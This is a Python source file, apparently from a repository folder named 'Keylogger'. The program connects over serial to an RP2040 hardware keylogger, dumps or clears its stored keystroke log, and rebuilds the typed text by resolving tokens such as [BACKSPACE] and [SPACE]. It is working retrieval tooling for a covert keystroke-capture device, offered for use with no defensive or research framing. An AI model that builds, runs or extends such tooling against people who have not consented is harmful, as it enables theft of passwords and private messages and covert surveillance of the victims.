Files
Keylogger/reader.py
T
2026-06-03 16:52:16 +02:00

279 lines
8.5 KiB
Python
Executable File

#!/usr/bin/env python3
"""
RP2040 Serial Log Reader
Connects to RP2040 controller via serial and manages logs (read/clear)
"""
import serial
import serial.tools.list_ports
import time
import sys
import os
class RP2040LogReader:
def __init__(self):
self.ser = None
self.port = None
self.baudrate = 115200 # Common baudrate for RP2040
def clear_screen(self):
"""Clear the terminal screen"""
os.system('clear' if os.name == 'posix' else 'cls')
def wait_for_continue(self):
"""Wait for user to press Enter to continue"""
input("\nPress Enter to return to menu...")
self.clear_screen()
def find_ports(self):
"""List available serial ports"""
ports = serial.tools.list_ports.comports()
return ports
def find_rp2040(self):
"""Search for RP2040 device in available ports"""
ports = self.find_ports()
for port_info in ports:
# Check for common RP2040 identifiers
if any(identifier in port_info.description.lower() for identifier in ['rp2040', 'pico', 'feather', 'tinyusb']):
return port_info.device
return None
def connect(self, port=None, baudrate=115200):
"""Connect to the serial port"""
try:
if port is None:
# Try to auto-detect RP2040
print("Looking for RP2040 device...")
rp2040_port = self.find_rp2040()
if rp2040_port:
port = rp2040_port
print(f"Found RP2040 at {port}")
else:
print("RP2040 not found. Waiting for device to connect...")
print(" (Please plug in your RP2040 device)")
# Loop and wait for device
while not rp2040_port:
time.sleep(2)
rp2040_port = self.find_rp2040()
if rp2040_port:
port = rp2040_port
print(f"RP2040 detected at {port}")
break
print("Still waiting for RP2040...")
self.ser = serial.Serial(port, baudrate, timeout=2)
self.port = port
time.sleep(1) # Wait for connection to stabilize
print(f"Connected to {port} at {baudrate} baud")
return True
except serial.SerialException as e:
print(f"Failed to connect: {e}")
return False
def send_command(self, command):
"""Send command to RP2040"""
try:
self.ser.write(f"{command}\n".encode())
time.sleep(0.5)
return True
except Exception as e:
print(f"Error sending command: {e}")
return False
def read_response(self):
"""Read response from serial port"""
try:
response = ""
while self.ser.in_waiting:
response += self.ser.read(self.ser.in_waiting).decode(errors='ignore')
time.sleep(0.1)
return response
except Exception as e:
print(f"Error reading response: {e}")
return ""
def extract_log_content(self, raw_response):
"""Extract content between markers"""
start_marker = "=== Key Log Start ==="
end_marker = "=== End of Log ==="
start_idx = raw_response.find(start_marker)
end_idx = raw_response.find(end_marker)
if start_idx == -1 or end_idx == -1:
return None
# Extract content between markers
content = raw_response[start_idx + len(start_marker):end_idx].strip()
return content
def cleanup_log(self, raw_log):
"""
Clean up log by processing special character representations:
- [BACKSPACE]: Remove previous character
- [TAB]: Remove the tab (skip it)
- [SPACE]: Convert to actual space character
- [ENTER]: Remove the enter (skip it)
"""
cleaned = ""
i = 0
while i < len(raw_log):
# Check for special key patterns
if raw_log[i:i+11] == "[BACKSPACE]":
# Delete previous character if it exists
if cleaned:
cleaned = cleaned[:-1]
i += 11
elif raw_log[i:i+5] == "[TAB]":
# Skip tabs
i += 5
elif raw_log[i:i+7] == "[SPACE]":
# Convert to actual space
cleaned += " "
i += 7
elif raw_log[i:i+7] == "[ENTER]":
# Skip enters
i += 7
else:
# Regular character
cleaned += raw_log[i]
i += 1
return cleaned.strip()
def read_log_raw(self):
"""Option 1: Read and print raw log"""
print("\nReading RAW Log...")
print("-" * 50)
if not self.send_command("DUMP"):
return
response = self.read_response()
if response:
print(response)
else:
print("No response received")
print("-" * 50)
self.wait_for_continue()
def read_log_clean(self):
"""Option 2: Read and print cleaned log"""
print("\nReading Cleaned Log...")
print("-" * 50)
if not self.send_command("DUMP"):
return
response = self.read_response()
if response:
# Extract log content
log_content = self.extract_log_content(response)
if log_content:
# Clean up the log
cleaned = self.cleanup_log(log_content)
print("Cleaned Log:")
print(cleaned)
else:
print("Could not find log markers in response")
print("Raw response:")
print(response)
else:
print("No response received")
print("-" * 50)
self.wait_for_continue()
def clear_log(self):
"""Option 3: Clear the log"""
print("\nClearing Log...")
print("-" * 50)
confirm = input("Are you sure you want to clear the log? (yes/no): ").strip().lower()
if confirm not in ['yes', 'y']:
print("Clear cancelled")
self.wait_for_continue()
return
if not self.send_command("CLEAR"):
return
response = self.read_response()
if response:
print("Response from controller:")
print(response)
else:
print("Clear command sent (no response)")
print("-" * 50)
self.wait_for_continue()
def disconnect(self):
"""Close serial connection"""
if self.ser and self.ser.is_open:
self.ser.close()
print("Disconnected")
def show_menu(self):
"""Display main menu"""
print("\n" + "="*50)
print(" RP2040 Log Reader")
print("="*50)
print("1. Read Log (RAW)")
print("2. Read Log (Cleaned)")
print("3. Clear Log")
print("4. Exit")
print("="*50)
def run(self):
"""Main program loop"""
# Connect to serial port
if not self.connect():
return
try:
while True:
self.clear_screen()
self.show_menu()
choice = input("Select option (1-4): ").strip()
# Immediately clear screen after selection
self.clear_screen()
if choice == "1":
self.read_log_raw()
elif choice == "2":
self.read_log_clean()
elif choice == "3":
self.clear_log()
elif choice == "4":
print("\nGoodbye!")
break
else:
print("Invalid choice, please try again")
time.sleep(1)
except KeyboardInterrupt:
print("\n\nProgram interrupted")
finally:
self.disconnect()
if __name__ == "__main__":
reader = RP2040LogReader()
reader.run()